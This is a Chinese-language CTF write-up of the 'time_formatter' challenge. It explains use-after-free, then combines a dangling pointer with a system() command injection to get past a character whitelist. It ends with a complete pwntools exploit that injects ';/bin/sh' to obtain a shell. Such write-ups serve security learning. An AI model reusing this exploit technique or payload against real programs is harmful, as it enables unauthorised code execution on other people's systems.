前置知识

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

静态分析

运行程序是一个菜单,十有八九是堆题

ida反汇编,开始静态分析,为方便分析,将部分函数,变量重命名

ret_ptr()函数中fgets(str, 1024, stdin);从标准输入读取字节

str[strcspn(str, "\n")] = 0;返回第一个”\n”的下标并将其置null

size_t strcspn(const char *str1, const char *str2) 检索字符串 str1 开头连续有几个字符都不含字符串 str2 中的字符。该函数返回 str1 开头连续都不含字符串 str2 中字符的字符数。

1
2
3
4
5
6
7
8
9
10
11
12
__int64 ret_ptr()
{
char str[1024]; // [rsp+8h] [rbp-410h] BYREF
unsigned __int64 v2; // [rsp+408h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1LL, "%s");
fflush(stdout);
fgets(str, 1024, stdin);
str[strcspn(str, "\n")] = 0;
return malloc_heap(str);
}

malloc_heap()函数中v1 = strdup(str);strdup函数类似malloc,可以从堆上分配参数str字符串大小相同的空间

**char *strdup(const char *str)**将字符串复制到新建立的空间,该函数会先用malloc()配置与参数str字符串相同的空间大小,然后将参数str字符串的内容复制到该内存地址,然后把该地址返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
char *__fastcall malloc_heap(const char *str)
{
char *v1; // rax
char *v2; // rbx

v1 = strdup(str); // malloc memory
if ( !v1 )
err(1, "strdup");
v2 = v1;
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n");
return v2;
}

check_format()函数中strcpy(accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");将特定字符复制到字符数组中

strspn(str, accept) == strlen(str);将用户输入的字符串与特定字符比较,如果用户输入的字符全部属于特定字符中,则返回true(1),否则返回false(0)

size_t strspn(const char *str1, const char *str2) 检索字符串 str1 中第一个不在字符串 str2 中出现的字符下标。该函数返回 str1 中第一个不在字符串 str2 中出现的字符下标。

1
2
3
4
5
6
7
8
9
_BOOL8 __fastcall check_format(char *str)
{
char accept[51]; // [rsp+5h] [rbp-43h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-10h]

strcpy(accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
v3 = __readfsqword(0x28u);
return strspn(str, accept) == strlen(str);
}

print()函数中__snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", bss, ptr);是将"/bin/date -d @%d +'%s'",bss,ptr,%d对应bss,%s对应ptr,写到command数组中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 print()
{
char command[2048]; // [rsp+8h] [rbp-810h] BYREF
unsigned __int64 v2; // [rsp+808h] [rbp-10h]

v2 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", bss, ptr);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n");
setenv("TZ", value, 1);
system(command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

漏洞利用

程序流程大概看的差不多,下一步寻找漏洞点

exit()函数内调用free却没有将指针置空,存在uaf

上述print()函数调用system(command);存在命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __noreturn exit(int status)
{
char s[16]; // [rsp+8h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-10h]

v2 = __readfsqword(0x28u);
free(ptr);
free(value);
__printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(s, 16, stdin);99
if ( (s[0] & 0xDF) == 'Y' )
puts("OK, exiting.");
}

有了这两个漏洞,我们想一想如何利用

最为直观的想法,就是命令注入执行system(/bin/sh);我们可以注意到__snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", bss, ptr);参数ptr可以将用户的输入写入command,但是输入参数ptr中的内容会被check_format()函数检查,只有输入的字符全部符合才能通过,直接写是肯定行不通的,这时uaf就派上用场了

首先,我们先进菜单1,执行strdup(str);分配堆空间后,ptr指向这段堆空间(保证分配的空间free后能进fastbin或tcache)

search

进菜单5,free(ptr),ptr指向的这段内存空间会放在fastbin(glibc >= 2.27,则会放入tcache),ptr成为悬空指针

bins

进菜单3,执行strdup(str);尽量保证分配字节数与第一步分配的一致,这样使得malloc的内存是刚刚放入fastbin的内存,现在value和ptr两个指针指向同一块内存,这样修改value指向的内存实际上也是修改ptr指向的内存,这就绕过了只能输入特定字符的限制

heap

当然此程序没有提供edit功能,所以我们在进菜单3时就将payload构造好,"/bin/date -d @%d +'%s'"在原先的command字符串上,我们可以动手脚的地方就是%s,显然,直接填/bin/sh是'/bin/sh'行不通。我们可以用''闭合,;分隔command命令,使其可以执行;前和;后的命令,同时pwntools中sendline(b’’’’)语法是错的,所以需要\转义,最后payload应为sendline(b'\';/bin/sh\'')

x32:fastbin中chunk范围0x10-0x40,最小的chunk为0x10

x64:fastbin中chunk范围0x20-0x80,tcache中chunk范围0x20到0x410,一般情况下最小的chunk为0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import * 
context(log_level = 'debug',arch = 'amd64')
p = process('./time')
#p = remote('61.147.171.105',51218)

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

def set_format(format):
sla(b'>',b'1')
sla(b'Format:',format)

def exit():
sla(b'>',b'5')
sla(b'Are you sure you want to exit (y/N)? ',b'N')

def set_zone(payload):
sla(b'>',b'3')
sla(b'Time zone: ',payload)

def print():
sla(b'>',b'4')

set_format(b'a')
exit()
set_zone(b'\';/bin/sh\'')
print()

p.interactive()

参考资料

CTF Wiki

time_formatter攻防世界学习